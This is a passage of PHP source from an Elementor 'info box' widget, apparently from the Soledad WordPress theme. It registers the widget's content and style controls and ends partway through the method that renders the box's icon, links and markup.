					'circle' => esc_html__( 'Circle', 'soledad' ),
					'square' => esc_html__( 'Square', 'soledad' )
				),
			)
		);

		$this->add_control(
			'icon_hover_animation', array(
				'label'     => __( 'Hover Animation', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'condition' => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'options'   => array(
					''             => esc_html__( 'None', 'soledad' ),
					'grow'         => esc_html__( 'Grow', 'soledad' ),
					'shrink'       => esc_html__( 'Shrink', 'soledad' ),
					'pulse'        => esc_html__( 'Pulse', 'soledad' ),
					'pulse-grow'   => esc_html__( 'Pulse Grow', 'soledad' ),
					'pulse-shrink' => esc_html__( 'Pulse Shrink', 'soledad' ),
					'push'         => esc_html__( 'Push', 'soledad' ),
					'pop'          => esc_html__( 'Pop', 'soledad' ),
					'custom-1'     => esc_html__( 'Custom Style 1', 'soledad' ),
					'custom-2'     => esc_html__( 'Custom Style 2', 'soledad' ),
					'custom-3'     => esc_html__( 'Custom Style 3', 'soledad' ),
					'custom-4'     => esc_html__( 'Custom Style 4', 'soledad' ),
					'custom-5'     => esc_html__( 'Custom Style 5', 'soledad' )
				),
			)
		);

		$this->add_control(
			'icon_position', array(
				'label'   => __( 'Icon position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'top-left'    => __( 'Top left', 'soledad' ),
					'top-center'  => __( 'Top center', 'soledad' ),
					'top-right'   => __( 'Top right', 'soledad' ),
					'float-left'  => __( 'Float left', 'soledad' ),
					'float-right' => __( 'Float right', 'soledad' ),
				),
				'default' => 'float-left',
			)
		);

		$this->add_control(
			'content_vertical_position',
			array(
				'label'                => __( 'Vertical Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'condition'            => array( 'icon_position' => array( 'float-left', 'float-right' ) ),
				'options'              => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .penci-ibox-float-left .penci-ibox-inner'  => 'align-items: {{VALUE}}',
					'{{WRAPPER}} .penci-ibox-float-right .penci-ibox-inner' => 'align-items: {{VALUE}}',
				),
				'selectors_dictionary' => array(
					'top'    => 'flex-start',
					'middle' => 'center',
					'bottom' => 'flex-end',
				),
			)
		);

		$this->add_responsive_control(
			'icon_width', array(
				'label'     => __( 'Width/Height for Box Contain Icon', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'condition' => array( 'icon_view!' => 'default' ),
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-ibox-icon' => 'width: {{SIZE}}px;height:{{SIZE}}px;display: flex;',
				),
			)
		);

		$this->add_control(
			'subtitle', array(
				'label'       => __( 'Sub Title', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => '',
				'placeholder' => __( 'Enter your sub title', 'soledad' ),
				'label_block' => true,
				'separator'   => 'before',
			)
		);

		$this->add_control(
			'title_text', array(
				'label'       => __( 'Title', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => __( 'This is the heading', 'soledad' ),
				'placeholder' => __( 'Enter your title', 'soledad' ),
				'label_block' => true,
			)
		);
		$this->add_control(
			'_use_line', array(
				'label'     => __( 'Use Line Below The Title', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_control(
			'pline_height', array(
				'label'     => __( 'Custom Height of Line', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-ibox-line' => 'height: {{SIZE}}px' ),
				'condition' => array( '_use_line!' => '' ),
			)
		);
		$this->add_control(
			'pline_width', array(
				'label'     => __( 'Custom Width of Line', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-ibox-line' => 'width: {{SIZE}}px' ),
				'condition' => array( '_use_line!' => '' ),
			)
		);

		$this->add_control(
			'description_text', array(
				'label'       => __( 'Content', 'soledad' ),
				'type'        => Controls_Manager::WYSIWYG,
				'default'     => __( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'soledad' ),
				'placeholder' => __( 'Enter your description', 'soledad' ),
			)
		);

		$this->add_control(
			'addrm', array(
				'label'        => __( 'Add Read More Button', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
			)
		);

		$this->add_control(
			'treadmore', array(
				'label'     => __( 'Button Text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Read More',
				'condition' => array( 'addrm' => 'yes' ),
			)
		);

		$this->add_control(
			'link', array(
				'label'       => __( 'Link', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'separator'   => 'before',
			)
		);

		$this->add_control(
			'wraplink', array(
				'label'        => __( 'Wrap Link for Whole Info Box?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
			)
		);


		$this->end_controls_section();

		// Design
		$this->start_controls_section(
			'section_design_spacing',
			array(
				'label' => __( 'Elements Spacing', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'stitle_marbt', array(
				'label'       => __( 'Sub Title Margin Bottom', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::SLIDER,
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array( '{{WRAPPER}} .penci-info-box .penci-ibox-stit' => 'margin-bottom: {{SIZE}}px' ),
			)
		);


		$this->add_responsive_control(
			'icon_marbt', array(
				'label'       => __( 'Margin Bottom for Box Contain Icon', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::SLIDER,
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array( '{{WRAPPER}} .penci-ibox-icon' => 'margin-bottom: {{SIZE}}px' ),
				'condition'   => array( 'icon_position!' => array( 'float-left', 'float-right' ) ),
			)
		);
		$this->add_responsive_control(
			'icon_marleft', array(
				'label'       => __( 'Margin Left for Box Contain Icon', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::SLIDER,
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array( '{{WRAPPER}} .penci-ibox-float-right .penci-ibox-icon' => 'margin-left: {{SIZE}}px' ),
				'condition'   => array( 'icon_position' => array( 'float-right' ) ),
			)
		);
		$this->add_responsive_control(
			'icon_marright', array(
				'label'       => __( 'Margin Right for Box Contain Icon', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::SLIDER,
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array( '{{WRAPPER}} .penci-ibox-float-left .penci-ibox-icon' => 'margin-right: {{SIZE}}px' ),
				'condition'   => array( 'icon_position' => array( 'float-left' ) ),
			)
		);
		$this->add_responsive_control(
			'title_paddingtop', array(
				'label'     => __( 'Title Padding Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-ibox-title' => 'padding-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'title_marbt', array(
				'label'     => __( 'Title Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-ibox-title' => 'margin-bottom: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'desc_martop', array(
				'label'     => __( 'Description Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-ibox-content' => 'margin-top: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'btn_martop', array(
				'label'     => __( 'Read More Button Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-ibox-readmore' => 'margin-top: {{SIZE}}px' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => __( 'Typography & Colors', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'psix_style',
			array(
				'label' => __( 'Infor Box', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$this->start_controls_tabs(
			'style_tabs'
		);

		$this->start_controls_tab(
			'style_normal_tab', array(
				'label' => __( 'Normal', 'soledad' ),
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'     => 'ib_bg',
				'label'    => __( 'Infor Box Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} .penci-info-box',
			)
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			array(
				'name'     => 'box_shadow',
				'label'    => __( 'Box Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-info-box',
			)
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'style_hover_tab', array(
				'label' => __( 'Hover', 'soledad' ),
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'     => 'ib_hbg',
				'label'    => __( 'Infor Box Hover Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} .penci-info-box:hover',
			)
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			array(
				'name'     => 'hbox_shadow',
				'label'    => __( 'Box Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-info-box:hover',
			)
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->add_responsive_control(
			'ibpadding', array(
				'label'      => __( 'Infor Box Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'ibbdradius', array(
				'label'      => __( 'Infor Box Borders Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'pstitle_style',
			array(
				'label'     => __( 'Sub Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'stitle_color',
			array(
				'label'     => __( 'Sub Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box .penci-ibox-stit' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'stitle_hcolor',
			array(
				'label'     => __( 'Sub Title Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box:hover .penci-ibox-stit' => 'color: {{VALUE}}; transition: color 0.3s;' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'stitle_typo',
				'label'    => __( 'Sub Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-info-box .penci-ibox-stit',
			)
		);

		$this->add_control(
			'ptitle_style',
			array(
				'label'     => __( 'Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'title_color',
			array(
				'label'     => __( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-ibox-title' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'title_hcolor',
			array(
				'label'     => __( 'Title Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box:hover .penci-ibox-title' => 'color: {{VALUE}}; transition: color 0.3s;' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'title_typo',
				'label'    => __( 'Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ibox-title',
			)
		);
		$this->add_control(
			'_line_color',
			array(
				'label'     => __( 'Line Below The Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-ibox-line' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'_line_hcolor',
			array(
				'label'     => __( 'Line Below The Title Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-info-box:hover .penci-ibox-line' => 'background-color: {{VALUE}}; transition: background-color 0.3s;' ),
			)
		);

		$this->add_control(
			'pdesc_style',
			array(
				'label'     => __( 'Description', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'desc_color',
			array(
				'label'     => __( 'Description Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-ibox-content' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'desc_hcolor',
			array(
				'label'     => __( 'Description Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box:hover .penci-ibox-content' => 'color: {{VALUE}}; transition: color 0.3s;' ),
			)
		);

		$this->add_control(
			'desc_link_color',
			array(
				'label'     => __( 'Description Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-ibox-content a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'desc_typo',
				'label'    => __( 'Description Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-ibox-content, {{WRAPPER}} .penci-ibox-content p',
			)
		);
		$this->add_control(
			'picon_style',
			array(
				'label'     => __( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'picon_color',
			array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-ibox-icon, {{WRAPPER}} .penci-ibox-icon a, {{WRAPPER}} .penci-ibox-icon svg' => 'color: {{VALUE}}; fill: {{VALUE}}' ),
			)
		);

		$this->add_control(
			'picon_bgcolor',
			array(
				'label'     => __( 'Icon Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-ibox-icon'                                 => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-framed .penci-ibox-icon'                                  => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon:after' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon:after' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon:after' => 'background-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'picon_border_color',
			array(
				'label'     => __( 'Icon Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-view-stacked .penci-icon'                                     => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-view-framed .penci-icon'                                      => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon'      => 'box-shadow: inset 0 0 0 3px {{VALUE}}',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon'      => 'box-shadow: inset 0 0 0 3px {{VALUE}}',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon'      => 'box-shadow: inset 0 0 0 3px {{VALUE}}',
					'{{WRAPPER}} .penci-view-framed .penci-animation-custom-2 .penci-ibox-icon:after' => 'border-color: {{VALUE}}',
					'{{WRAPPER}} .penci-view-framed .penci-animation-custom-5 .penci-ibox-icon:after' => 'border-color: {{VALUE}}',
				),
			)
		);
		$this->add_control(
			'picon_hcolor',
			array(
				'label'     => __( 'Icon Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box:hover .penci-ibox-icon, {{WRAPPER}} .penci-ibox-inner:hover .penci-ibox-icon a, {{WRAPPER}} .penci-ibox-inner:hover .penci-ibox-icon svg' => 'color: {{VALUE}}; fill: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'picon_hbgcolor',
			array(
				'label'     => __( 'Icon Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-ibox-inner:hover .penci-ibox-icon'               => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-framed .penci-ibox-inner:hover .penci-ibox-icon'                => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-animation-custom-3:hover .penci-ibox-icon:after' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-animation-custom-4:hover .penci-ibox-icon:after' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-stacked .penci-animation-custom-5:hover .penci-ibox-icon:after' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-view-framed .penci-animation-custom-1 .penci-ibox-icon:after'        => 'background-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'picon_border_hcolor',
			array(
				'label'     => __( 'Icon Hover Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-view-stacked .penci-ibox-inner:hover .penci-ibox-icon'               => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-view-framed .penci-ibox-inner:hover .penci-ibox-icon'                => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-2 .penci-ibox-icon:after'       => 'box-shadow: 0 0 0 3px {{VALUE}};',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-1 .penci-ibox-icon:after'       => 'box-shadow: 0 0 0 3px {{VALUE}};',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-3:hover .penci-ibox-icon'       => 'box-shadow: inset 0 0 0 3px {{VALUE}}',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-4:hover .penci-ibox-icon'       => 'box-shadow: inset 0 0 0 3px {{VALUE}}',
					'{{WRAPPER}} .penci-view-stacked .penci-animation-custom-5:hover .penci-ibox-icon'       => 'box-shadow: inset 0 0 0 3px {{VALUE}}',
					'{{WRAPPER}} .penci-view-framed .penci-animation-custom-2:hover  .penci-ibox-icon:after' => 'border-color: {{VALUE}}',
					'{{WRAPPER}} .penci-view-framed .penci-animation-custom-5:hover  .penci-ibox-icon:after' => 'border-color: {{VALUE}}',
					'{{WRAPPER}} .penci-view-framed .penci-animation-custom-5:hover .penci-ibox-icon'        => 'box-shadow: 0 0 0 6px {{VALUE}}',
				),
			)
		);
		$this->add_responsive_control(
			'picon_fsize', array(
				'label'     => __( 'Font Size for Icon/SVG', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'condition' => array( 'icon_type!' => 'text' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-ibox-icon--icon' => 'font-size: {{SIZE}}px',
					'{{WRAPPER}} .penci-ibox-icon svg'   => 'width: {{SIZE}}px; height: auto;',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'      => 'pibtext_typo',
				'label'     => __( 'Icon Text Typography', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-info-box .penci-ibox-icon, {{WRAPPER}} .penci-info-box .penci-ibox-icon a, {{WRAPPER}} .penci-info-box .penci-ibox-icon .pc-ibox-ctext',
				'condition' => array( 'icon_type' => 'text' ),
			)
		);

		$this->add_responsive_control(
			'picon_padding', array(
				'label'      => __( 'Custom Icon Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'condition'  => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-view-framed .penci-icon, {{WRAPPER}} .penci-view-stacked .penci-icon' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'rm_style',
			array(
				'label'     => __( 'Read More Button', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => array( 'addrm' => 'yes' ),
				'separator' => 'before',
			)
		);
		$this->add_control(
			'rm_bgcolor',
			array(
				'label'     => __( 'Button Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-info-box .penci-ibox-readmore a' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'addrm' => 'yes' ),
			)
		);
		$this->add_control(
			'rm_bghcolor',
			array(
				'label'     => __( 'Button Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-info-box:hover .penci-ibox-readmore a' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'addrm' => 'yes' ),
			)
		);
		$this->add_control(
			'rm_color',
			array(
				'label'     => __( 'Button Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box .penci-ibox-readmore a' => 'color: {{VALUE}};' ),
				'condition' => array( 'addrm' => 'yes' ),
			)
		);
		$this->add_control(
			'rm_hcolor',
			array(
				'label'     => __( 'Button Hover Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box:hover .penci-ibox-readmore a' => 'color: {{VALUE}};' ),
				'condition' => array( 'addrm' => 'yes' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'      => 'rm_typo',
				'label'     => __( 'Button Typography', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-info-box .penci-ibox-readmore a',
				'condition' => array( 'addrm' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'btn_padding', array(
				'label'      => __( 'Button Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'condition'  => array( 'addrm' => 'yes' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box .penci-ibox-readmore a' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'btn_bdradius', array(
				'label'      => __( 'Button Borders Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'condition'  => array( 'addrm' => 'yes' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box .penci-ibox-readmore a' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'addrmborder', array(
				'label'        => __( 'Add Button Borders', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'condition'    => array( 'addrm' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'btn_bdwidth', array(
				'label'      => __( 'Button Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'condition'  => array( 'addrmborder' => 'yes' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box .penci-ibox-readmore a' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'rm_bcolor',
			array(
				'label'     => __( 'Button Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box .penci-ibox-readmore a' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'addrmborder' => 'yes' ),
			)
		);
		$this->add_control(
			'rm_hbcolor',
			array(
				'label'     => __( 'Button Hover Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-info-box:hover .penci-ibox-readmore a' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'addrmborder' => 'yes' ),
			)
		);

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		$block_id    = 'penci_info_box_' . rand( 1000, 100000 );
		$css_class   = 'penci-block-vc penci-info-box';
		$css_class   .= $settings['icon_position'] ? ' penci-ibox-' . $settings['icon_position'] : 'penci-ibox-float-left';
		$css_class   .= $settings['icon_view'] ? ' penci-view-' . $settings['icon_view'] : '';
		$css_class   .= $settings['icon_shape'] ? ' penci-shape-' . $settings['icon_shape'] : '';
		$inner_class = $settings['icon_hover_animation'] ? ' penci-animation-' . $settings['icon_hover_animation'] : '';


		$a_before           = '<span class="penci-ibox-icon-fa">';
		$a_after            = '</span>';
		$button_link_before = $button_link_after = $wrap_link_open = $wrap_link_close = '';

		if ( ! empty( $settings['link']['url'] ) ) {
			$this->add_render_attribute( 'link', 'href', $settings['link']['url'] );

			if ( $settings['link']['is_external'] ) {
				$this->add_render_attribute( 'link', 'target', '_blank' );
			}

			if ( $settings['link']['nofollow'] ) {
				$this->add_render_attribute( 'link', 'rel', 'nofollow' );
			}

			$a_before           = '<a class="penci-ibox-icon-fa-fix" ' . $this->get_render_attribute_string( 'link' ) . '></a>';
			$a_before           .= '<a class="penci-ibox-icon-fa" ' . $this->get_render_attribute_string( 'link' ) . '>';
			$a_after            = $button_link_after = $wrap_link_close = '</a>';
			$button_link_before = '<a class="penci-ibox-btn" ' . $this->get_render_attribute_string( 'link' ) . '>';
			$wrap_link_open     = '<a class="penci-iboxwrap-overlay" ' . $this->get_render_attribute_string( 'link' ) . '>';
		}
		?>
        <div id="<?php echo esc_attr( $block_id ) ?>" class="<?php echo esc_attr( $css_class ); ?>">
            <div class="penci-ibox-inner<?php echo $inner_class; ?>">
				<?php if ( 'yes' == $settings['wraplink'] ) {
					echo $wrap_link_open . $wrap_link_close;
				} ?>
				<?php
				$icon_type = $settings['icon_type'] ? $settings['icon_type'] : 'icon';
				if ( in_array( $icon_type, array( 'icon', 'svg', 'text' ) ) ) {
					echo '<div class="penci-ibox-icon penci-ibox-icon--icon penci-icon penci-tibox-' . $icon_type . '">';
					echo $a_before;
					if ( 'text' == $icon_type ) {
						$ctext = $settings['ctext'] ? $settings['ctext'] : '';
						if ( $ctext ) {
							echo '<div class="pc-ibox-ctext">' . $ctext . '</div>';
						}
					} else if ( 'svg' == $icon_type ) {
						\Elementor\Icons_Manager::render_icon( $settings['csvg'], [ 'aria-hidden' => 'true' ] );
					} else {
						$this->add_render_attribute( 'i', 'class', 'penci-ibox-icon--i ' . $settings['icon'] );
						$this->add_render_attribute( 'i', 'aria-hidden', 'true' );
						echo '<i ' . $this->get_render_attribute_string( 'i' ) . '></i>';
